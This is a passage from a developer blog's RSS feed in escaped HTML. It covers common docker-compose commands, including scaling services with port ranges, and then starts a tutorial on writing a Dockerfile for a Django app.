data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose up -d&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;run-a-command-inside-a-running-container&#34;&gt;Run a command inside a running container&lt;/h3&gt;&#xA;&lt;p&gt;To execute a command inside a running service we use the command docker-compose exec, followed by the name of the service and the command. In this case when running bash we enter the terminal of our service named app.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose &lt;span style=&#34;color:#ff5c57&#34;&gt;exec&lt;/span&gt; app bash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;stop-and-remove-services&#34;&gt;Stop and remove services&lt;/h3&gt;&#xA;&lt;p&gt;Stops and removes containers, networks, volumes and images that are created with the docker-compose down command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose down&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Removing django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Removing docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Removing postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Removing network my_project&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;restart-services&#34;&gt;Restart services&lt;/h3&gt;&#xA;&lt;p&gt;If we want to restart one or all services we use the command docker-compose restart.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose restart&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Restarting django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Restarting docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Restarting postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To execute docker-compose restart on a single service, just put the name of the service at the end.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose restart &amp;lt;service&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;stop-the-services-without-removing-them&#34;&gt;Stop the services without removing them&lt;/h3&gt;&#xA;&lt;p&gt;To stop one or all services we have to use docker-compose stop.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose stop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Stopping postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To execute docker-compose stop a only to a service just put the name of the service at the end.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose stop &amp;lt;service&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;docker-compose-commands-to-star-docker-compose-services-without-creating-them&#34;&gt;Docker compose commands to star docker-compose services without creating them&lt;/h3&gt;&#xA;&lt;p&gt;We can start one or all services with docker-compose start. This command is useful only to restart containers previously created but stopped at some point, and it does not create any new containers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose start&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Starting postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Starting django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Starting docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;By adding the name of a service at the end the docker-compose start command will be executed on that service only.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose start &amp;lt;service&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;running-a-command-within-a-service&#34;&gt;Running a command within a service&lt;/h3&gt;&#xA;&lt;p&gt;To execute a command inside one of our services we use the run command, the &amp;ndash;rm option will delete the container that will be created when finished executing, then we place the command. Unlike docker-compose start, &lt;strong&gt;this command is used to perform one-time tasks&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose run --rm django python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;see-the-docker-services-or-processes&#34;&gt;See the docker services or processes&lt;/h3&gt;&#xA;&lt;p&gt;To list the running containers&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose ps&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#  Name Command State Ports         &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#-------------------------------------------------------------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#django     /entrypoint /start Up 0.0.0.0:8000-&amp;gt;8000/tcp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#docs       /bin/sh -c make livehtml Up 0.0.0.0:7000-&amp;gt;7000/tcp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#postgres docker-entrypoint.sh postgres Up 5432/tcp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To list a single container we place it at the end of our command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose ps &amp;lt;service&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;access-to-processes&#34;&gt;Access to processes&lt;/h3&gt;&#xA;&lt;p&gt;In the same way as the top command in GNU/Linux, docker-compose top shows us the processes of each of our services.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f local.yml top&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#django&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#UID PID PPID C STIME TTY TIME CMD                               &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#---------------------------------------------------------------------------------------------------------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#root 29957 29939 0 20:09   ?     00:00:00   /bin/bash /start&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To see the processes of a single service just type its name at the end of the command docker-compose top&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose top &amp;lt;service&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;view-docker-compose-logs&#34;&gt;View docker compose logs&lt;/h3&gt;&#xA;&lt;p&gt;If something went wrong we can view the logs using docker-compose logs. If we want to see the logs of a specific stack just set our yml file with the &lt;em&gt;-f.&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml logs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Attaching to django, docs, postgres&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#django      | PostgreSQL is available&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#django      | Operations to perform:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#postgres    | PostgreSQL Database directory appears to contain a database; Skipping initialization&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#docs        | sphinx-autobuild -b html --host 0.0.0.0 --port 7000 --watch /app -c . ./_source ./_build/html&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As with the other commands, if we want to read the logs of a service, it is enough to add its name at the end.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml logs &amp;lt;service&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;scaling-docker-compose-containers&#34;&gt;Scaling docker compose containers&lt;/h2&gt;&#xA;&lt;p&gt;Previously, the docker-compose scale command was used to scale services. In the new versions of docker-compose scaling containers is done with the command docker-compose up. After the command we add the &amp;ndash;scale option followed by the service we want to scale and the number of copies using the format service=number.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml up -d --scale &amp;lt;service&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We must take into account that when we scale a container, it will try to create another container with a port that will already be in use, which will cause a conflict, for this reason we need to specify port ranges in our docker compose file. We also cannot use container names in our services, so we will have to remove them.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  django:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      context: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      dockerfile: Dockerfile&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: customImage&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    container_name: django &lt;span style=&#34;color:#78787e&#34;&gt;# Please keep this line&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    depends_on:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - postgres&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    volumes:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - .:/app:z&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    env_file:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - ./django.env&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - ./posgres.env&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    ports:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;8000-8005:8000&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Apply ranges to ports&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    command: /start&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;How about a practical application of Docker Compose? In my next post I&amp;rsquo;ll explain how to deploy using cookiecutter-django and docker-compose; thanks to cookie-cutter a couple of docker-compose commands are enough, a production-ready application with SSL and many more features.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Docker compose allows us to create applications with multiple containers, these containers will interact and will be able to see each other. To configure each of these services we will use a file in YAML format (also called YML). In this docker compose tutorial I show you some of the most used docker compose commands and what each one does. If you want to review the basic Docker commands visit my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/&#34;&gt;basic Docker commands and usage&lt;/a&gt;&#xA; post.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to write a docker file from scratch</title>
      <link>https://coffeebytes.dev/en/docker/how-to-write-a-docker-file-from-scratch/</link>
      <pubDate>Fri, 09 Oct 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/docker/how-to-write-a-docker-file-from-scratch/</guid>
      
      <category>docker</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In the previous post &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/&#34;&gt;I explained the most common Docker commands, run, exec, pull, etc&lt;/a&gt;&#xA;. Up to this point everything has been done manually, through the terminal, but what if we want a way to save our process transformations to an image for easy sharing or to keep track in git. Dockerfiles allow just that and make it easy to customize an image as a series of steps to take to get our system to the point we want it to be.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-a-docker-file&#34;&gt;What is a Docker file?&lt;/h2&gt;&#xA;&lt;p&gt;A Dockerfile is a file &lt;strong&gt;without extension&lt;/strong&gt;, usually called &lt;em&gt;Dockerfile&lt;/em&gt;, where we will specify a series of transformations, ordered, that we want to apply to an image. In a Dockerfile we can add custom configuration files, our own code, extra libraries, open custom ports or whatever we want.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s basically a template or recipe that indicates how our system has to look like.&lt;/p&gt;&#xA;&lt;h2 id=&#34;preparing-a-dockerfile-with-files&#34;&gt;Preparing a Dockerfile with files&lt;/h2&gt;&#xA;&lt;p&gt;For this example we are going to create a new folder, where we will create the Dockerfile. Remember, that a &lt;strong&gt;Dockerfile is just a file without extension.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The following part only creates the files that we will include in the Dockerfile, it doesn&amp;rsquo;t matter if you don&amp;rsquo;t understand the process perfectly.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir dockerTest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; dockerTest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch Dockerfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we create a requirements file for pip that includes Django and gunicorn. In case you don&amp;rsquo;t know, Django is a web development framework and gunicorn is a server often used in conjunction with Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;printf&lt;/span&gt; “Django&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;3.0.1 ‘gunicorn&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;19.7.1’ &amp;gt; requirements.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, let&amp;rsquo;s create a project with django to use as a base for our project. &lt;strong&gt;Make sure you have pip installed on your system or you won&amp;rsquo;t be able to use django-admin&lt;/strong&gt;. In case you can&amp;rsquo;t download version 3.0.1 you can use any other version and it should also work.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo pip install &lt;span style=&#34;color:#ff5c57&#34;&gt;Django&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;3.0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startproject myDjangoDockerApp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we now review our current folder we will see the following file and folder structure. If you don&amp;rsquo;t know Django ignore the files, the important thing for now is that you know that &lt;strong&gt;gunicorn only needs to know where the wsgi.py file is to start the server&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; 